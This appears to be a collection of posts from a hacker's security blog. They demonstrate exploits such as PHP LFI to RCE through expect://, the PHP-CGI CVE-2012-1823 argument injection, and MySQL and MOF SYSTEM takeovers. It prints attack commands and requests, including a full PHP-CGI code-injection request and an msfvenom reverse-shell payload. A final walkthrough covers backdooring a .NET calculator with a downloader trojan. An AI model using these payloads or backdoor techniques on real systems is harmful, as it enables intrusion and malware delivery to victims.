I expect:// a shell!

This blog post covers a fascinating method of leveraging Local File Inclusion to gain Remote Code Execution on a vulnerable host. It has several downfalls, but overall is one of the more interesting methods I have found, and I have not found any references to it anywhere that I looked online.

PHP has many “wrappers” to parse certain types of things. For example, the php://input or php://filter wrappers, which have been used in the past for both code execution and information disclosure – notably the PHP-CGI Arguement Injection exploit, which uses the php://input wrapper to inject code after making modifications to PHP.ini directives.

One of the more entertaining ones I stumbled across is how PHP handles the expect:// “wrapper”. For those who do not know, “expect” is a program/scripting language of sorts that one can use to interact with other interactive programs. Some of you may be familiar with pexpect from Python, which is used to interact with SSH sessions for automation. It is a rather powerful utility, and is often used by sysadmins to automate procedures which would normally require human interaction.

As it happens, amongst PHP’s many wrappers, there is an “expect://” wrapper. I stumbled across it by accident while looking up the correct way to use php://filter to read files via LFI (I will document that method later, it deserves a post of its own). I knew expect looked familiar, so when I looked more into it, I found examples of people using it in PHP scripts to automate things like ssh-ing to remote boxes, etc.

After a while it dawned on me that something interesting might just happen if I passed expect://ls to an include() call in a PHP script, so I decided to see what would happen.

I used the following vulnerable (to LFI) PHP script, and called test.php?hax=expect://ls

<?php
$code = $_GET[‘hax’];
include($code);
?>

It provided me with a directory listing of my webroot.

expecting shell

remote code execution

After a few minutes of thinking “oh, this is interesting”, I decided to see if I could knock up an interactive shell in Python to automate the whole procedure.

First off, I decided to see could I get it all to work out using Pythons “requests” module…

Seeing as it worked, now it was time to write a “shell”.

Gotshell?

got shell :)

Yes, I now had a somewhat interactive “shell” on the vulnerable host (localhost…). I considered releasing the proof of concept right there, however further messing about was warranted first, obviously. I needed to see how far I could “push” this vuln, and how cool I could possibly make the PoC tool before releasing it to the wild, where someone would doubtlessly give me much abuse about my python :P

So, without further ado, here is the video demo of it. It now checks if the host is vuln (very rudimentary check), and offers the “inline shell” or a reverse shell :) Download links at bottom :)

// Err, the video is on its way, I did not have time to clean it up sadly. I will edit this post in a day or so with the finished video, I promise :)

download link

CTF365.

So, it takes quite something to get me to be “Extremely excited” about a thing. However, when I heard about “CTF365″, I was pretty much like a small child on Christmas.
CTF365 is essentially a large scale, non stop, team based Capture The Flag event. You form teams, (and alliances of teams), and pwn the bajesus out of eachother. Points are awarded for each enemy team’s server you own, and I presume you lose points if you get owned. Essentially, it is “war”.

The reason this was so exciting to me is simple. It is an excuse to pit myself against other hackers, work with a great team of mates, and legally pop some boxes. And the CTF365 guys host the whole platform.

The scenario is the whole “Global Cyberwar” thing, with teams representing “Countries” (Each team having a server they must defend). To keep things fair, there is a minimum amount of “required” attack surface on each server, to keep everything at a sporting chance. Essentially meaning you have to cover both incident response/blue team stuff, as well as red team/offensive stuff.

For those of you who had been reading about CDCC and such in the US, but who, well, are not in the US, and want a chance to play something similar, this is probably your best chance.

I will be playing, it launches “sometime” in 2013. Hopefully soon… So why not check it out? (apologies for using my referrer, I want early access … because … pwning shit legally!) CTF 365 – Sign Up!

Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823

The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked.

For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution.

Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed.

One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows.
echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”

As you will see in the video, we can easily use this to execute commands remotely from a BASH shell.

The HTTP request sent, looks something similar to this:

“””
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: example.com
User-Agent: lwp-request/6.03 libwww-perl/6.04
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

<?php system(‘id’);die(); ?>

“””

The response to that was the server sending back the result of our command (id), so we know it works.

So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python.

The following screenshot shows exploitation using Python.

PHP CGI Exploitation

Exploiting PHP-CGI bug with Python

So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed).

Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user.

Exploit code available here: Google Code – Insecurety Research

So, along comes the demo, as usual in video format. This time, with additional tunes by Blackmail House who gave me permission to use their music in demo videos the other day in the pub :)

Remember, play nice out there.
 

TelnetEnable – Enabling TELNET on the WGR-614 Netgear Routers.

Recently, salve during my research into exploitation of routers (inspired by some of my friends and associates, including the other writer on this blog, dietrich), I came across some fascinating code, and decided to do a demonstration.

One of my friends happened to have a router (Netgear WGR614, pilule running the WGR614v9 firmware). We decided it would be fun to experiment with.

The web interface on it is something I have yet to explore, as he has forgotten the password and is none too happy about the idea of resetting it, as it would mean spending a day reconfiguring his network (I suspect this has to do with “Fuck setting up port forwarding for xbox live”, viagra sale as I had to do that for my brother a year ago… Not a fun task!). Instead, I decided to see what access the TELNET interface offered.

When the router was scanned with nmap, it showed up as having port 23 (TELNET) open. However, attempts to connect to it failed. Upon investigation using my favourite search engine, I found that Netgear provide a “Telnetenable” utility. OpenWRT – Telnetenable

How it works is it takes the username and password (Gearguy and Geardog respectively are defaults for the TELNET), and the MAC address of the router.
It does an MD5 of those, some byte swapping, and then encrypts it all with Blowfish into a binary blob with the secret key “AMBIT_TELNET_ENABLE+”. Or so my understanding of it is. Cryptography and I get along only on Tuesdays. It then sends this to the TELNET port, which parses it and invokes telnetd.

Seeing as they only provided a Windows binary, and I wanted something that would run on Linux without using Wine, some further searches lead to the following Python script – Python- Telnetenable. Said Python script has a few bugs, so I decided to clean it up and make it a bit more user friendly. Left original credits intact, might send it as a “patch” to developer sometime.

Here is the link to the cleaned up script: Telnetenable-Redux.py

So, you do “./telnetenable-redux.py <IP of Router> <MAC of Router> Gearguy Geardog” and wham, instant TELNET access. The TELNET console itself seems to have no authentication by default, dropping you straight into a Busybox root shell. From here you have complete access to the router itself. Due to laziness and such, the MAC address must be in all uppercase with no seperating : between the hex characters.

Anyway, without further ado, here is the demo video I recorded. Not bothered editing it as there is not much to see, really.

I am doing more exploring to search for interesting files to read on the router (finding out where it keeps the bloody HTTP authentication stuff is proving more difficult than previously expected), and as my research progresses I will post more about it. Router exploitation is a fascinating, and under-researched field, that is filled with pretty 0days and such to investigate ;)

CVE-2009-0880 IBM System Director Remote SYSTEM Exploit Demo.

IBM Systems Director has a Web Service listening on 6988/TCP. This service, malady the “CIM Server”, in versions prior to 5.20.3 SP2 is vulnerable to a directory traversal vulnerability, permitting loading of local DLL files and their execution. This is assigned CVE-2009-0880.

Executing Local DLL files? Not really all that interesting. However, no rx then our good friend @kingcope decided to take a look at this bug, and suddenly, it became VERY interesting.

Because of how Windows treats files, you can not only load a LOCAL DLL file, but you can load a REMOTE DLL file, if said DLL file is made available over a WebDAV share. Essentially turning “Execute some file on the remote box” into “Remote code execution with SYSTEM privileges”.

How this exploit works, is it sends a specially crafted HTTP request to the CIM Listener service, telling it that it should totally load hackerhacker.dll because it is definately a legit DLL file to execute.

This software, being inherently silly, decides “Sure! Of course I will load this DLL file!” and loads the remote DLL file, executing whatever code is at its initialization routine (your reverse shell mayhaps?).

To make the whole party even more fun, the code is executed as SYSTEM, and no authentication whatsoever is needed to exploit this vulnerability.

The original exploit by Kingcope may be found here: http://isowarez.de/Exploits/IBMDirector.txt however he has disabled access to “wootwoot” DLL file, so I could not use his exploit code in the following demo. I ended up using the Metasploit module which was released shortly after his exploit came out.

What I find most interesting is that no one before Kingcope ever though about using a Webdav share to serve up a remotely loaded DLL. Perhaps now people will have to revise old bugs and write new, super effective exploits?

Without further ado, here is the demo!

Local File Inclusion to RCE, abusing tempfiles and phpinfo()

“If you want to win a race condition, you best cheat”.

The following article demonstrates a fascinating method of exploiting Local File Inclusion vulnerabilities first thought up of by the guy who runs Gynvael.Coldwind.pl . It is further documented at Insomnia Security

To start, when you are exploiting a Local File Inclusion, in order to gain remote code execution you must “write” some PHP code somewhere on disc that you can “include”. Normally this means injecting into logfiles, or the /proc/self/environ interface.
In the event you cannot locate the logfiles, or access them, most people simply give up and claim “Yep, it is unexploitable”.
This is not true.

When you upload files via HTTP POST to a webserver running PHP, during the upload it creates a tempfile for the files data, normally in /tmp. This file is “randomly named” (I do not trust the PRNG PHP uses), and is stored for the duration of the upload.

Now, it just so happens that it will create this file irrespective of whether or not you are legitimately uploading (i.e. the webapp is accepting an upload) or not, and the file is deleted when the “upload” finishes.

Because these files are randomly named, and there are no wildcards that we can use on Linux (more on this later!), you might think “So, how does this help me at all?”.

Normally, you would be right. Unless you find a flaw in the PRNG that allows you to predict the “dummy name” of the file, this is not so useful to you. What we need is an information disclosure bug that displays the PHP variables at that particular time…

… Enter PHPinfo(). The phpinfo() call, often found in /phpinfo.php or other such files (often forgotten and not removed on webservers), displays the PHP variables as they are at that point in time… Including the “Dummy Filename” that is currently in use.

So, if we are to send a file upload, containing our evil PHP code, and then include() it (via the LFI), using the path given to us by the PHPinfo page, we gain code execution on the remote server.
Simple?

Yes, but not quite.
The file exists there for mere fractions of a second, so we lengthen the duration of the upload (we upload to the phpinfo file) by padding it with trash data. The insomniasec paper (linked at bottom) explains this better than I will, so I advise reading it! This is a race condition, so to further enhance our chances, we use multiple threads and multiple attempts. One of them will succeed, normally within short order (averages at 30 seconds, see the demo video!). If you have LFI and a phpinfo() page, you WILL gain code execution on the server.

The PHP code you “upload” and execute via include() effectively acts as a “Dropper”, dropping some malicious code that is stored in /tmp with a filename you have set. You then simply include() this dropped file via the LFI bug to execute code, as per normal LFI.

The InsomniaSec guys released, along with their paper, a demo script to show how it works. imax, the mantainer of Fimap (which I also develop) released a Fimap plugin that exploits this vulnerability, and that is what I am about to demonstrate. imax’s code drops a file named “eggshell” which is essentially a stripped down version of the Fimap payload.

The Fimap module is extremely reliable, giving me shells in short order. I have never had an issue with it to date, and normally on remote boxes it takes a minute or so to pop a shell.

Demo Video

Next week I will be releasing a demo of doing this against Windows targets without the lovely PHPinfo bug. A much “truer” race condition :)

Whitepaper (InsomniaSec)

Exploit Demo – FreeFloatFTPd Remote SYSTEM. Oppa Stuxnet Style!

Ever since Kingcope released the “Stuxnet Style” MySQL exploit using .mof files to execute dropped binaries, illness there has been a rash of similar exploits cropping up – and I fully expect many more to come. This one is one of the interesting ones, as it demonstrates something extremely interesting. How improper FTP file access privileges can lead to trivial remote code execution.

This exploit works in an extraordinarily simple manner. The FreeFloat FTP Server is rife with security flaws. Not least the fact it has no authentication whatsoever, and drops one right into C: with privileges to write files as the SYSTEM user.

It uploads the binary (Meterpreter in the MSF exploit) to System32, then plants a .MOF file to execute it in the System32wbemmof directory, allowing Windoes Management Interface to execute it as SYSTEM – the same as the other exploits.

Essentially, you pop a SYSTEM shell within less than a minute.

I expect that future weeks will show us more and more “Stuxnet Style” exploits as this technique becomes more trendy, hence, “Oppa Stuxnet Style!”.

Without further ado, here is the video!

 

Exploit Demo – Windows MySQL Post Auth RCE using Stuxnet Technique

My previous post demonstrated the exploit @kingcope released, MySQLJackPot, that leveraged FILE privileges to take over a Windows MySQL server. That exploit worked by abusing the User Defined Function stuff.

This exploit goes a bit further, and is reliable on everything pre-Vista. It leverages the same technique used by Stuxnet’s MS-10-061 exploit, wherin arbritary file creation is turned into Remote Code Execution (under the context of the SYSTEM user) by dropping a binary and a .MOF file.

By using the INTO DUMPFILE method (assuming we have FILE privs on the remote server), we can create arbritary files with the permissions of the MySQL user, which just so happens to be NT AUTHORITY/SYSTEM.

So, we drop a binary (our payload) in System32 folder, and then drop a crafted .MOF file in System32\wbem\mof\. The Windows Task Scheduler (similar to CRON on Unix to my understanding) periodically scans this directory and executes any .MOF files in there. Our .MOF file executes our payload.

This is the same method that the MS-10-061 exploits use – by dropping a .MOF file in there along with a binary, the binary will be executed in short order, and et-viola: got shell.

Anyways, without further ado, here is the video of it in action. I ended up using the Metasploit module, as I did something nasty to my PERL installation while installing stuff from CPAN for another demo, and things started to “not work right”.

Exploit Demo – Windows MySQL Remote System (Post Auth) RCE

So, search last weekend we got to see @kingcope release approximately a dozen new exploits, some scanners, and in general, a shitload of incredibly awesome code. Some serious headaches for systems administrators in general. Grab the exploits from

Now, over the past week in my free time (it is exam season for me, hence no updates in a while, but after next week its back to work :D ) I have been fooling about with these exploits. As usual, Kingcope delivered some quality stuff.

This exploit in particular is not quite “new” per se, it is a fascinating abuse of FILE privileges in MySQL. Unless I am mistaken, the SQLmap guys implemented this as well. However, I never had much luck at all with it. This, on the other hand, is an extremely reliable exploit.

How it works is rather simple. It creates a table in the target MySQL database (Spearhead), and uploads a DLL file as a binary blob into said table. It then uses “INTO DUMPFILE” to dump the payload out into the MySQL Plugin directory. The payload being a DLL file which contains code that spawns a reverse shell.

Finally, it creates a User Defined Function, “mysqljackpot”, which loads said DLL file and causes the reverse shell code to be executed under the context of the MySQL process, which is normally the SYSTEM user. It also drops the created databases to clear some evidence.

Very clever way of popping a box, however I do imagine it leaving a lot of logs behind… And I am investigating doing this via SQL injection at the moment (I can see no reason why not!).

Anyways, thats how this works! Here is the video!

 

Injecting arbritary code into .NET Assemblies using ‘und3ath Injector’

Last night I was browsing a forum I frequent – http://trojanforge.com/ and came across a piece of code named “und3ath Injector” written by a user named und3ath. It claimed to be capable of injecting arbritary code into .NET assemblies without harming the original code – in short – a stealth backdooring tool for .NET executables.

The author’s article and release can be found on his blog here: http://und3ath.blogspot.fr/2012/10/source-d3ath-jector-mono-cecil-injector.html this guy is a very good .NET programmer, I expect he will come out with more awesome things soon :)

This, to me, was fascinating. What it does is it directly injects ‘evil code’ into the .net executable into one of the functions or forms that comprise the assembly, without altering the functionality of the original. It simply sneakily adds a “Little Extra”. The fact I fucking hate .NET with a passion meant I saw a hilarious extra “Evil” side to this! A trojanizer for .NET executables? AWESOME. I had trouble in the past injecting MSF payloads into .NET binaries without breaking the original binary.

The proof of concept tool – und3ath Injector – has two payloads. A Messagebox payload and a “Trojan Downloader” payload. The first is proof the damn thing works, the second a more “weaponized” payload for dropping malware or backdoors on a victim system.

One of the benefits of using a downloader instead of hiding a full backdoor in there is stealth – less modifications to the file, and less for an AV to sign on.

So, without further ado, I am going to inject a dropper into a .NET binary, and see does it function as planned. The dropper will download a Meterpreter payload from a remote server, execute the payload, and we will take it from there…

Before we do anything, we will generate our Metasploit Payload to run on the victim system and place in our webroot.

The following should do the trick…

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 LHOST=192.168.1.41 LPORT=443 >evil.exe

This creates the executable file “evil.exe” in our current working directory. The msfvenom command should be self explanatory, but if there is demand for it I will write an article later on using msfvenom. If you are capable of reading the f*cking manual you should get it :)

Creating the Meterpreter payload

Creating the Meterpreter payload

So we have our evil binary in /var/www/lulz ready to go. We can now move on to the main part of this article – backdooring .NET assemblies by “patching” them with extra .NET code.

The victim .NET binary I chose to use is a simple calculator application. I found it online and decided it made a good enough victim for demonstration purposes.

Here is a screenshot of it running, for those of you who do not know what a calculator is :P

.NET calculator

.NET calculator

Now. We open ‘und3ath Injector’ and select “Load File”. Use this dialogue to select the binary you wish to backdoor.

Selecting a file to backdoor

Selecting a file to backdoor

Next we click on any of the parts that we think would be good to inject code into (I normally choose the main class for some odd reason, though you could select an on click event…)

When we click on this the “Payloader” menu comes up. We insert our information/selection here.

Create Payload

Create the Payload

When you click inject, it starts creating a new binary for you to use and you save it.

Saving the Backdoor

Saving the Backdoor

Now, we have our evil binary ready to deploy, and have our Metasploit listener ready. We run the modified binary on the victim host and haz shell :)

g0tsh3ll, again

Got a shell =D

So, as you an see, it is relatively trivial to inject arbritary code into a .NET assembly without affecting the existing functionality of the software.